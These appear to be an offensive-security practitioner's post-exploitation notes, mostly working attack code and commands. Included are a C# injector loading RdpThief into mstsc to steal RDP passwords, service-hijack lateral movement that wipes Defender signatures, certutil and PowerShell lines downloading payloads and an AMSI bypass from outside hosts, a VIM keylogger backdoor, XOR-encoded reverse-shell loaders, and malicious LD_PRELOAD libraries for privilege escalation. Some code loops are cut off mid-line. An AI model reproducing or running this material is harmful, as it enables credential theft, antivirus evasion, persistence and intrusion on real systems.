password=labSteal RDP creds using RDPThief.dll
GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.
- Build the rdpthief dll from above link.
If detours is missing, use Nuget to uninstall and install it again.
- The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.
- To see the captured credentials, check the output file:
C:\Users\<username>\AppData\Local\Temp\<session_ID>\data.bin.
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading; // Added this line for Thread.Sleep()
namespace Inject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
String dllName = "C:\\Tools\\RdpThief.dll";
while (true)
{
Process[] mstscProc = Process.GetProcessesByName("mstsc");
if (mstscProc.Length > 0)
{
for (int i = 0; i < mstscProc.Length; i++)
{
int pid = mstscProc[i].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
Thread.Sleep(1000); // Sleep for 1 second before checking again
}
}
}
}Fileless Lateral Movement
Using fileless lateral movement will
- Execute code without registering new service.
- Avoid writing file to disk.
PSExec however will write to disk. At a highlevel:
- PsExec authenticates to SMB on the target host and accesses the DCE/RPC
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.
- PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.
PsExec.exe -i -u domain\user cmd.exe- The user running the code below have the TGT for
cifs/appsrv01in the memory.
- The code will connect to target
appsrv01, open the serviceSensorServiceand change it to opennotepad.exe.
- When
SensorServiceis executed,notepad.exewill run as SYSTEM user.
using System;
using System.Runtime.InteropServices;
namespace PSLessExec
{
public class Program
{
public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;
public static uint SERVICE_ALL_ACCESS = 0xF01FF;
public static uint SERVICE_DEMAND_START = 0x3;
public static uint SERVICE_NO_CHANGE = 0xffffffff;
[StructLayout(LayoutKind.Sequential)]
public class QUERY_SERVICE_CONFIG
{
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwServiceType;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwStartType;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwErrorControl;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpBinaryPathName;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpLoadOrderGroup;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]
public UInt32 dwTagID;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpDependencies;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpServiceStartName;
[MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]
public String lpDisplayName;
};
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
public static void Main(string[] args)
{
if (args.Length != 3)
{
Console.WriteLine("Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]");
Console.WriteLine("Example: PSLessExec.exe appsrv01 SensorService notepad.exe");
return;
}
// Open remote SCManager
IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);
Console.WriteLine($"Got handle on SCManager on {args[0]}: {SCMHandle}.");
// Access target service
IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);
Console.WriteLine($"Got handle on target service {args[1]}: {schService}.");
// Get current binPath (two passes, first is to determine the buffer size needed)
UInt32 dwBytesNeeded;
QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();
bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);
IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);
Marshal.PtrToStructure(ptr, qsc);
String binPathOrig = qsc.lpBinaryPathName;
// Pass 1: Disable Defender signatures
String defBypass = "\"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All";
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);
Console.WriteLine($"Overwrote service executable to become '{defBypass}', result: {bResult}.");
// Run the service for Pass 1
bResult = StartService(schService, 0, null);
Console.WriteLine("Launched service, defender signatures should be wiped.");
// Pass 2: Run the chosen binary
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);
Console.WriteLine($"Overwrote service executable to become '{args[2]}', result: {bResult}.");
// Run the service for Pass 2
bResult = StartService(schService, 0, null);
Console.WriteLine("Launched service. Check for execution!");
// Pass 3: Restore original binPath
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);
Console.WriteLine($"Restored service binary to '{binPathOrig}', result: {bResult}.");
}
}
}using System;
using System.Runtime.InteropServices;
namespace lat
{
class Program
{
// P/invoke for OpenSCManagerW
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
// P/invoke for OpenService
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
// P/invoke for ChangeServiceConfig
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
// P/invoke for StartService
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
static void Main(string[] args)
{
// Initial proof of concept to authenticate
String target = "appsrv01";
IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
// Code to call OpenService
string ServiceName = "SensorService";
IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);
// Code to call ChangeServiceConfig
string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);
// Code to call StartService
bResult = StartService(schService, 0, null);
}
}
}
Trigger payload using fileless lateral movement
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.
# Copy payload to target
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe
# Now trigger it with fileless lateral movement
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”
# You can also try to trigger the payload with psexec
.\psexec \\dc02 -d "C:\windows\tasks\proc_hol.exe"ScShell
https://github.com/Mr-Un1k0d3r/SCShell
"SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC."
# If you have obtained a hash for a user that can authenticate against target, run the command
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Command need to use FULL path. No command output.
SCShell>C:\windows\system32\cmd.exe /c certutil -urlcache -split -f "http://192.168.45.162/bin.exe" C:\windows\tasks\bin.exe
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with
SVShell>C:\windows\tasks\bin.exe
# Usage for .exe
SCShell.exe target service payload domain username password
# Example remote code exec
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor PasswordLinux Post Explotation
Stealthy VIM Backdoors
- Directly modifying
.vimrc is not stealthy.
- To source a shell script:
!source /path/to/script
- To import another VIM config:
:source /path/to/vim-config
- Stealthier approach: Use the
~/.vim/plugindirectory. VIM auto-loads all.vimfiles from this directory.
VIM Backdoor keylogger
Leveraging VIM's .vimrc configuration files, it's possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.
Insert this at the end of vimrc.
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/hackedfromvim.txt
:endif- BufWritePost : Trigger event after a buffer is written.
- * : Action applies to all edited files.
- :silent : Suppress debug output.
- :w! : Forcefully save the buffer contents.
- >> /tmp/hackedfromvim.txt : Append content changes to the specified log file.
Linux Shellcode Loader
Simple Shellcode Loader
#include
#include
#include
// To compile:
// gcc -o simpleLoader simpleLoader.c -z execstack
// XOR-encoded 'linux/x64/shell_reverse_tcp' payload (key: 0xfa)
unsigned char buf[] = "\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA";
int main (int argc, char **argv)
{
int key = 250;
int buf_len = (int) sizeof(buf);
// Decode the payload
for (int i=0; i
==== Compile the shellcode loader ====gcc -o simpleLoader simpleLoader.c -z execstack
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.
# If the above dont work, try this
gcc -o sh.elf sh.c -z execstack -static
upx --best --lzma -o shupx.elf ./sh.elfSimple XOR Shellcode Encryption Cheatsheet
1. Simple XOR Encrypt Shellcode
#include
#include
#include
unsigned char buf[] = "\x6a\x39\x58\x0f\x05..."; // Original Shellcode
int main (int argc, char **argv) {
char xor_key = 'J'; // XOR Key
int payload_length = (int) sizeof(buf); // Length of Shellcode
// XOR Encrypt Each Byte
for (int i=0; i
'''Compilation''':kali@kali:~$ gcc -o encoder.out encoder.c -z execstack
kali@kali:~$ ./encoder.out
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x482. Execute XOR Decrypted Shellcode
#include
#include
#include
unsigned char buf[] = "\x20\x73\x12\x45..."; // XOR Encrypted Shellcode
int main (int argc, char **argv) {
char xor_key = 'J'; // XOR Key
int arraysize = (int) sizeof(buf); // Length of Encrypted Shellcode
// XOR Decrypt Each Byte
for (int i=0; i
'''Key Points''':
* The shellcode is encrypted using XOR operation against a key (e.g., 'J').
* The encrypted shellcode must be decrypted using the same XOR key before execution.
* After decryption, the shellcode is cast to a function pointer and executed.
=== Shared Libraries ===
Linux uses a different program format than Windows. While Linux utilizes '''Executable and Linkable Format (ELF)''', Windows uses the '''Portable Executable (PE)''' format.
* '''ELF Reference''': [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]
* '''PE Reference''': [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]
Despite their differences, both systems share code with other applications. Windows employs '''Dynamic-Link Library (DLL)''' files, whereas Linux uses '''Shared Libraries'''.
When a Linux application requires a library, it searches for it in the following order:
* '''RPATH''': Directories within the application's RPATH value.
[https://en.wikipedia.org/wiki/Rpath Reference]
* '''LD_LIBRARY_PATH''': Directories specified in this environment variable.
* '''RUNPATH''': Directories in the application’s RUNPATH value.
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]
* '''/etc/ld.so.conf''': Directories mentioned here.
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]
* '''System Library Directories''': <code> /lib , /lib64 , /usr/lib , /usr/lib64 , /usr/local/lib , /usr/local/lib64</code> , and more.
Because of this predefined search sequence, it's possible to place or hijack shared libraries to control an application's behavior.
==== Hijacking Shared Library via LD_LIBRARY_PATH ====
'''1. Writing the Malicious Library:'''
* Create the payload file:
/home/offsec/ldlib/hax.c
* Include headers:
* Define the constructor function:
* Function payload:#include
#include
#include // for setuid/setgid
// This function will be executed automatically when the shared library is loaded.
static void runmahpayload() __attribute__((constructor));
void runmahpayload() {
// Elevate privileges to root user.
setuid(0); // Set the effective user ID to root.
setgid(0); // Set the effective group ID to root.
// Print a message to indicate the DLL hijacking is in progress.
printf("DLL HIJACKING IN PROGRESS \n");
// Execute the system command to create a file in /tmp called "haxso.txt."
// This can be used as an indicator that the malicious code was executed.
system("touch /tmp/haxso.txt");
}2. Compiling the Malicious Library:
- Compile shared library object file:
- Compile the finished shared library file:
gcc -Wall -fPIC -c -o hax.o hax.c
gcc -shared -o libhax.so hax.o3. Identifying the Target Library:
- Determine libraries used by a binary, e.g., top :
ldd /usr/bin/top
linux-vdso.so.1 (0x00007ffd135c5000)
libprocps.so.6 => /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)
libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)
libsystemd.so.0 => /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)
librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)
liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)
liblz4.so.1 => /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)
libgcrypt.so.20 => /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)- We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.
4. Preparing for Exploitation:
- Set the environment variable:
- Copy the malicious library to hijack a target:
export LD_LIBRARY_PATH=/home/offsec/ldlib/
cp libhax.so libgpg-error.so.05. Identifying Missing Symbols:
- Extract symbols associated with the hijacked library:
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int",$8}' | sed 's/@@GPG_ERROR_1.0/;/g'- Add the resulting symbols to your source code.
#include
#include
#include
static void runmahpayload() __attribute__((constructor));
int gpgrt_onclose;
int _gpgrt_putc_overflow;
int gpgrt_feof_unlocked;
int gpgrt_vbsprintf;
int gpgrt_ungetc;
---REST OF THE CODE---- We encountered an error stating we're missing the symbol "gpgrt_lock_lock" with version GPG_ERROR_1.0. Before our library's initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn't have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn't checking their functionality, just their presence. We can also use the "readelf" tool with the "-s" option to check what components the original library contains.
6. Overcoming Version Errors:
- Extract just symbol names:
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g'- Create a symbol map file, e.g., gpg.map :
GPG_ERROR_1.0 {
gpgrt_onclose;
_gpgrt_putc_overflow;
...
};- Recompile using the symbol map:
gcc -Wall -fPIC -c -o hax.o hax.c
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o- Export environment varialbe
export LD_LIBRARY_PATH=/home/offsec/ldlib/- Run the application
top
DLL HIJACKING IN PROGRESS
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...- Look for the file our library was supposed to modify in /tmp.
ls -al /tmp/haxso.txt
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txtPrivilege Escalation
Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.
- Add the alias to the .bashrc:
- Source the .bashrc to load the changes:
- Now, run the top utility with sudo:
alias sudo="sudo LD_LIBRARY_PATH=/home/offsec/ldlib"
source ~/.bashrc
sudo top
ls -al /tmp/haxso.txt
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt- Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.
LD_PRELOAD Exploitation
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.
Reverse shell
1. Identifying Potential Applications
- Target applications that the victim frequently uses (e.g., cp utility).
2. Tracing Library Calls
$ ltrace cp
strrchr("cp", '/') = nil
...
geteuid() = 1000
getenv("POSIXLY_CORRECT") = nil
...
fflush(0x7f717f0c0680) = 0
fclose(0x7f717f0c0680) = 0
+++ exited (status 1) +++3. Creating a Malicious Shared Library
- Objective: Redefine the geteuid function.
- Code Sample:
#define _GNU_SOURCE
#include
#include
#include
#include
#include
// To compile:
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
uid_t geteuid(void)
{
// Get the address of the original 'geteuid' function
typeof(geteuid) *old_geteuid;
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
// Fork a new thread based on the current one
if (fork() == 0)
{
// Execute shellcode in the new thread
intptr_t pagesize = sysconf(_SC_PAGESIZE);
// Make memory executable (required in libs)
if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
// Handle error
perror("mprotect");
return -1;
}
// Cast and execute
int (*ret)() = (int(*)())buf;
ret();
}
else
{
// Original thread, call the original function
printf("[Hijacked] Returning from function...\n");
return (*old_geteuid)();
}
// This shouldn't really execute
printf("[Hijacked] Returning from main...\n");
return -2;
}- Compilation:
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl4. Triggering the Payload
- Setup: Prepare a listener for the payload's callback.
- Execution without Preload:
cp /etc/passwd /tmp/testpasswd- Setting LD_PRELOAD and Execution:
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so
cp /etc/passwd /tmp/testpasswdPrivilege Escalation
- Clear LD_PRELOAD:
unset LD_PRELOAD- Note: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.
- Setting LD_PRELOAD with Sudo: Use an alias in .bashrc :
alias sudo="sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so"
- Reload ' ''.bashrc'' ':
source ~/.bashrc- Now run the command
sudo cp /etc/passwd /tmp/passwd
Load Exe in Memory
- To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.
- Below are example of how to run Rubeus.exe in memory and run ProcessHollowing payload in memory and run Mimikatz from memory.
## Load Rubeus.exe to memory ##
# First disable AMSI
(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/amsi.txt') | IEX
# Download Rubeus into memory
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/Rubeus.exe')
# Load it as an assembly
$assem = [System.Reflection.Assembly]::Load($data)
# Invoke a function
[Rubeus.Program]::Main("purge".Split())
# Examples
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
[Rubeus.Program]::Main("s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt".Split())
# One liner
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.79/Rubeus.exe');$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main("hash /password:Password123".Split())
---------------------------------------
## Run ProcessHollowing in memory ##
# Where Proc_hol is the namespace, and Program is the class.
$data2 = (New-Object System.Net.WebClient).DownloadData('http://92.221.186.47/proc_hol.exe');$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main("".Split())
---------------------------------------
## Using Invoke-ReflectivePEInjection.ps1.
# See OneNote for correct version.
# Load PrintSpoofer in memory
(New-Object System.Net.WebClient).DownloadString('http://example.com/Invoke-ReflectivePEInjection.ps1') | IEX
$bytes = (New-Object System.Net.WebClient).DownloadData('http://example.com/PrintSpoofer.exe')
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs "-i -c cmd"Metasploit Post Explotation
[TryHackMe Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]
Metasploit Unleashed
Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec
Running Metasploit as a Daemon
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.
msfd
[*] Initializing msfd...
[*] Running msfd...To connect to the daemon, use netcat like the following example:
┌──(root㉿kali)-[/home/kali/Desktop/]
└─# nc 127.0.0.1 55554
Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
=[ metasploit v6.3.41-dev ]
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
[*] Starting persistent handler(s)...
msf6 >Meterpreter MindMap
Meterpreter Commands
# Basics
help --> List available commands
sysinfo --> Displays system info
getuid --> List current session owner
sessions -i 2 --> Change to session 2
shell --> Drop to interactive shell
channel -i 1 --> Change to shell in channel 1
background --> Background session to interact with msfconsole
upload {local path} {victim path} --> Upload a file
download {path} --> Download file
reg {Command} --> Interacts with registry (reg by itself will list syntax)
execute -f cmd.exe -i --> Execute cmd.exe and interact
execute -f cmd.exe -i -H -t --> Execute cmd as hidden process and with all tokens
# Powershell
load powershell
powershell_execute --> Execute a PowerShell statement, including complex-statements separated by semicolons
powershell_import --> Import a local PowerShell script to execute on the remote system over the Meterpreter channel
powershell_shell --> Launch an interactive PowerShell shell
powershell_session_remove --> Used to remove a PowerShell session when created using execute/import/shell with the -s argument
# Host Reconnaissance
# List running processes on a system
ps --> List processes
getpid --> List current PID
migrate {PID} --> Migrate to anothe PID
post/windows/manage/migrate --> Make meterpreter migrate to another process.
run service_manager -l --> Lists running services on Windows.
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:
execute -H -f notepad
migrate {PID}
# Screenshots
screengrab --> Run plugin to capture screenshot of user session
# Keylogger
keyscan_start --> Start keylogger
keyscan_stop --> Stop keylogger
keyscan_dump --> Dump keylogger
# Privilege Escalation
getsystem --> Attempts to elevate privileges.
post/windows/gather/win_privs --> Determine privilege information.
exploit/windows/local/bypassuac_vbs --> Attempts to bypass UAC in order to escalate privileges.
windows/local/bypassuac_fodhelper --> Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.Post-Explotation with Meterpreter
help: List available commands.
- Migrate: Migrate to another process with
migrate [PID].
Used for: keystroke capturing (keyscan_start, keyscan_stop, keyscan_dump) and ensuring session stability.
- Caution: Migrating may lead to privilege loss.
- Hashdump: Dump the SAM database containing NTLM-formatted passwords with
hashdump.
- Search: Find files, e.g.,
search -f flag2.txt.
- Shell: Launch command shell on the target with
shell.
search smb/psexecto search for a module.
use [id]to use the module.
- Set required fields using
set(e.g.,set RHOSTS [target-machine-ip]).
- Confirm settings with
show options.
runto start the exploit.
Meterpreter Extensions
Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)
load kiwi- Load Mimikatz in current process
load incognito- Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.
load powershell
powershell_import PowerUp.ps1 <-- from our local working dir.
powershell_execute "Invoke-AllChecks"
Meterpreter pivoting and Proxychains
# Use autoroute module to create a pivot for the other network
use post/multi/manage/autoroute
set SUBNET 192.72.180.0
set SESSION 2
exploit
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.
use auxiliary/server/socks_proxy # Or try socks5
show options
set SRVPORT 9050
exploit
# Now you can use proxychainsMeterpreter Portforward
# https://www.offsec.com/metasploit-unleashed/portfwd/
# Add
# From the Meterpreter shell, the command is used in the following manner:
meterpreter > portfwd add –l 3389 –p 3389 –r [target host]
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.
-p 3389 is the destination port on our targeting host.
-r [target host] is the our targeted system’s IP or hostname.
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.191
[*] Local TCP relay created: 0.0.0.0:3389 >-> 172.16.194.191:3389
meterpreter >
Figure 2 Adding a port
# Delete
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:
meterpreter > portfwd delete –l 3389 –p 3389 –r [target host]
meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191
[*] Successfully stopped TCP relay on 0.0.0.0:3389
meterpreter >
# FLUSH: This argument will allow us to remove all the local port forward at once.
meterpreter > portfwd flushMSI Backdoor
